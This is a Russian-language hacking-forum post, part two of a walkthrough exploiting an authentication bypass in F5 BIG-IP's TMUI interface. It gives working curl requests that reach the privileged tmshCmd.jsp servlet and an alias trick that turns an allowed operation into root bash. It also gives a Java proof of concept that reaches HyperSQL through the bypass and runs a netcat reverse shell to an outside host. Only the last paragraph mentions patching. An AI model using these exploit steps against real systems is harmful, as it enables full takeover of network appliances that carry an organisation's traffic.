✍️ Статья Взлом устройств F5 networks через уязвимости в BIG-IP. Часть 2

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

BlackPope

Команда форума
Модератор DeepWeb ✔️
PR-Group DeepWeb 🔷
Регистрация
27.04.2020
Сообщения
230
/usr/local/www/tmui/WEB-INF/web.xml

<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/tmshCmd.jsp</url-pattern>
</servlet-mapping>

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.java

28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {
...
63: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
81: String cmd = WebUtils.getProperty(request, "command");
82: if (cmd == null || cmd.length() == 0) {
83: logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
84: } else {
85: JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
86: tmshResult = resultObject.toString();

Здесь на вход принимается параметр command, который затем передается в метод WorkspaceUtils.runTmshCommand. Так как мы декомпилировали этот класс, то посмотрим, что делает runTmshCommand.

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java

01: package com.f5.tmui.locallb.handler.workspace;
...
31: public class WorkspaceUtils {
...
46: public static JSONObject runTmshCommand(String command) {
...
51: String operation = command.split(" ")[0];
...
53: try {
54: String[] args = { command };
55: Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
56: output = result.getOutput();
57: error = result.getError();


Здесь происходит парсинг строки, которую мы передавали в command, и затем вызов Syscall.callElevated. Как видно из названия, этот метод вызывает команду Syscall.TMSH с повышенными привилегиями.

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java

13: import com.f5.mcp.schema.ltm.ShellCommandT;
...
78: public static final int TMSH = ShellCommandT.SC_TMSH.intValue();


Класс com.f5.mcp.schema.ltm.ShellCommandT находится в файле f5.rest.mcp.schema.jar. Декомпилируем и заглядываем в него.

usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema/ltm/ShellCommandT.java

01: package com.f5.mcp.schema.ltm;
...
05: public class ShellCommandT extends SchemaEnum {
...
70: public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);
...
94: protected ShellCommandT(String tokenName, long tokenValue) {
95: super("shell_command_t", tokenName, tokenValue);
96: }


TMSH (Traffic Management SHell) — это bash-подобная утилита для администрирования BIG-IP. В ней можно автоматизировать команды и процессы, создавать собственные команды или наборы команд, выполнять кастомные скрипты на TCL, использовать разные сценарии поведения сервера, вплоть до его перезагрузки и полного выключения. Очень интересные возможности, не правда ли? А если учесть, что все это делается с привилегиями суперпользователя, то этот сервлет становится лакомым кусочком при эксплуатации уязвимости.

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java

162: public static Result callElevated(int command, String[] args) throws CallException {
163: return call(command, args, true);
164: }
...
186: private static Result call(int command, String[] args, boolean elevated) throws CallException {
...
203: Connection c = null;
204: try {
...
206: c = ConnectionManager.instance().getConnection();
...
209: c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);
210: ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);
211: DataObject query = om.newObject();
212: query.put((SchemaAttribute)ShellCall.COMMAND, command);
213: query.put((SchemaAttribute)ShellCall.ARGS, parameters);
214: query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());
215: DataObject[] rs = om.queryStats(query);
216: if (rs != null && rs.length > 0)
217: return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS));


Давай попробуем вывести список администраторов BIG-IP. Это делается при помощи команды tmsh list auth user admin.

QPBILm8wcxE.jpg

Просмотр списка администраторов BIG-IP через утилиту TMSH

Теперь сделаем то же самое, только через уязвимость.

curl -k "https://192.168.31.140/tmui/login.j...pace/tmshCmd.jsp?command=list+auth+user+admin" -s

_A0j_71iji4.jpg

Выполнение команд TMSH через уязвимость в F5 BIG-IP

Но это не все! Если немного углубиться в документацию TMSH, то можно обнаружить интересную команду bash модуля util.

CTnes2foYO8.jpg

Список команд модуля util

Эта команда делает именно то, что от нее ожидаешь, — вызывает bash в необходимом контексте. Здесь есть все те же флаги, что и в обычном bash.

9_5xYWSfQ0Y.jpg

Страница мануала команды bash в TMSH

Любые команды из модуля util можно вызывать как при помощи run, так и прямо из командной строки.
  • run /util bash -c id
  • bash -c id
XN_PTlBkfS0.jpg

Разные варианты выполнения команд в bash через TMSH

Однако, если попробовать выполнить любой из вариантов через уязвимость, в ответ сервер вернет ошибку Rejected Tmsh Command.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s

DQ3ZD2cK9LM.jpg

Попытка вызвать произвольную команду через уязвимость в BIG-IP

Это происходит из-за того, что перед тем, как выполнить TMSH-команду, сервлет tmshCmd_jsp производит несколько проверок.

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java

52: if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify"))) {


Метод ShellCommandValidator.checkForBadShellCharacters проверяет наличие запрещенных символов в строке. В расстрельный список попали:

& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r

WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java

24: public static boolean checkForBadShellCharacters(String value) {
25: char[] cArray = value.toCharArray();
26: for (int i = 0; i < cArray.length; i++) {
27: char c = cArray;
28: if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')
29: return true;
30: }
31: return false;
32: }


Но это не главная проблема. Что действительно уменьшает область действия, так это вторая часть условия — проверка выполняемой операции.

operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")

Как видишь, возможно выполнить только четыре команды TMSH: create, delete, list и modify. И здесь на помощь приходят алиасы. Как и в bash, в TMSH можно создать псевдонимы (alias) для команды, чтобы каждый раз не набирать ее. За это отвечает модуль cli alias. Алиасы бывают двух типов — shared и private. Они отличаются областью видимости — первые доступны внутри всей системы, вторые ограничены текущим пользователем. Посмотреть список псевдонимов можно с помощью команды list, удалить — delete, а создать новый при помощи create.

Dh6HGa0fTuk.jpg

Список общих (shared) псевдонимов в TMSH

Думаю, ты уже догадываешься, к чему я веду. Нужно создать псевдоним для команды bash, в качестве имени которого указать любую из четырех разрешенных операций. Только советую делать область видимости private и удалять псевдоним сразу после выполнения необходимой команды, чтобы не мешать нормальной работе системы. Итак, план действий следующий.

Командой create cli alias private modify command bash создаем в зоне видимости пользователя алиас с именем modify, который будет вызывать команду bash.

curl -k "https://192.168.31.140/tmui/login.j...=create+cli+alias+private+modify+command+bash" -s

Теперь modify -c id выполнит необходимую команду. В моем случае это id.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s

Затем delete cli alias private modify — удаляем созданный алиас во избежание проблем.

curl -k "https://192.168.31.140/tmui/login.j...d.jsp?command=delete+cli+alias+private+modify" -s

uxAegMaEFR8.jpg

Успешная эксплуатация уязвимости в F5 BIG-IP. Выполнение произвольных команд с правами суперпользователя

Такую последовательность легко автоматизировать. Готовые решения ты с легкостью сможешь найти на просторах GitHub. Существует даже готовый модуль для Metasploit.

К слову, этот способ RCE был найден позднее. Михаил же в своем репорте предлагает более интересный метод выполнения команд — через базу данных HyperSQL. Давай заодно посмотрим, как это делается.

RCE через HyperSQL

В BIG-IP используется база данных HyperSQL. Запросы к сервлету, который с ней работает, httpd проксируют по URI /hsqldb.

/etc/httpd/conf.d/proxy_ajp.conf

ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5


Конечно же, этот адрес доступен только после авторизации, но ты уже знаешь, как это обойти.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/hsqldb/" -s

1CGsi8KbV1Q.jpg

Обход авторизации для доступа к HSQLDB

HyperSQL позволяет работать с базой данных по протоколу HTTP(S). Подключение описано в документации. По дефолту используется пользователь SA и пустой пароль.

Теперь давай накидаем PoC, который будет делать какие-нибудь простые запросы к БД. Для начала нужно скачать правильную библиотеку HSQLDB (ZIP). Затем пропишем в hosts строку

192.168.31.140 localhost.localdomain

Разумеется, IP должен быть твоей виртуалки! Это нужно, чтобы не возиться с SSL-сертификатами в Java. Далее в качестве URL для коннекта к базе данных указываем адрес с байпасом авторизации.

/hsqldb-poc-rce/src/com/f5rce/Main.java

01: package com.f5rce;
02:
03: import java.sql.*;
04: import java.lang.*;
05: import java.util.Properties;
06:
07: public class Main {
08:
09: public static void main(String[] args) throws Exception {
10: Class.forName("org.hsqldb.jdbcDriver");
11: String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..;/hsqldb/";


Теперь имя пользователя и пароль.

/hsqldb-poc-rce/src/com/f5rce/Main.java

12: Properties props = new Properties();
13: props.setProperty("user","SA");
14: props.setProperty("password","");


Подключаемся к БД.

/hsqldb-poc-rce/src/com/f5rce/Main.java

15: try {
16: Connection c = DriverManager.getConnection(connectionURL, props);
17: Statement stmt = null;
18: ResultSet result = null;


Теперь выполняем простенький запрос

SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS

/hsqldb-poc-rce/src/com/f5rce/Main.java

19: stmt = c.createStatement();
20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");


Получаем результат и выводим в консоль.

/hsqldb-poc-rce/src/com/f5rce/Main.java

21: while (result.next()) {
22: System.out.println("Got result: " + result.getString(1));
23: }
24: result.close();
25: stmt.close();
26: } catch (SQLException e) {
27: e.printStackTrace();
28: }


3C7Xb2hBToI.jpg

Выполнение запроса к БД HyperSQL через обход авторизации в BIG-IP

Если внимательно просмотреть документацию к базе данных, то можно обнаружить любопытную функцию CALL, которая позволяет вызывать внешние функции Java.

Сначала проверим classpath — пути, откуда подгружаются библиотеки:

CALL "java.lang.System.getProperty"('java.class.path')

/hsqldb-poc-rce/src/com/f5rce/Main.java

20: result = stmt.executeQuery("CALL \"java.lang.System.getProperty\"('java.class.path')");


KrAUZIXlH54.jpg

Получение classpath через HSQLDB в BIG-IP

Аналогичные пути использует Tomcat. Это хорошо, так как список потенциально опасных методов довольно обширен. Среди этого многообразия нужно найти метод с модификатором static, то есть тот, который можно вызывать без создания объекта класса. Михаил обнаружил подходящий:

com.f5.view.web.pagedefinition.shuffler.Scripting#setRequestContext

Он находится в файле /usr/local/www/tmui/WEB-INF/classes/tmui.jar, который мы уже декомпилировали.

WEB-INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.java

01: package com.f5.view.web.pagedefinition.shuffler;
...
12: public class Scripting {
13: static {
14: Properties props = new Properties();
15: System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");
16: System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/www/tmui/WEB-INF/classes");
...
45: public static void setRequestContext(String object, String screen) {
46: PyObject current = getInterpreter().eval(object + "__" + screen + "()");
47: currentObject.set(current);
48: }


Этот метод выполняет код Jython и возвращает объект типа org.python.core.PyObject. Jython — это реализация языка Python на Java, поэтому нужно использовать его конструкции. Будем выполнять код при помощи Runtime.getRuntime().exec(). Для нашего удобства в BIG-IP по дефолту установлен netcat с поддержкой флага -e. Делаем через него бэкконнект.

/hsqldb-poc-rce/src/com/f5rce/Main.java

20: result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" +
21: "\"('Runtime.getRuntime().exec(\"nc 192.168.31.12 1337 -e /bin/bash\")#','#')");


Cp1TX3-eqw0.jpg

Успешная эксплуатация BIG-IP. Удаленное выполнение команд через HSQLDB

Заключение

Рассмотренная уязвимость в очередной раз доказывает, что даже такая незначительная проблема, как некорректная нормализация пути, ведет к серьезным последствиям. Знание инфраструктуры приложения и возможности входящих в его состав инструментов позволили полностью захватить контроль над машиной BIG-IP. И думаю, нет смысла объяснять, какие проблемы может вызвать скомпрометированная система, через которую ходит весь сетевой трафик.

После получения деталей уязвимости разработчики F5 предложили ряд временных решений до выхода полноценного патча. К сожалению, некоторые из них оказались неэффективными и не позволяют в должной мере защититься от злоумышленников. Поэтому лучше всего обновляться до версии приложения, где проблема полностью исправлена.
 

📌 Золотая реклама

AnonPaste

Верх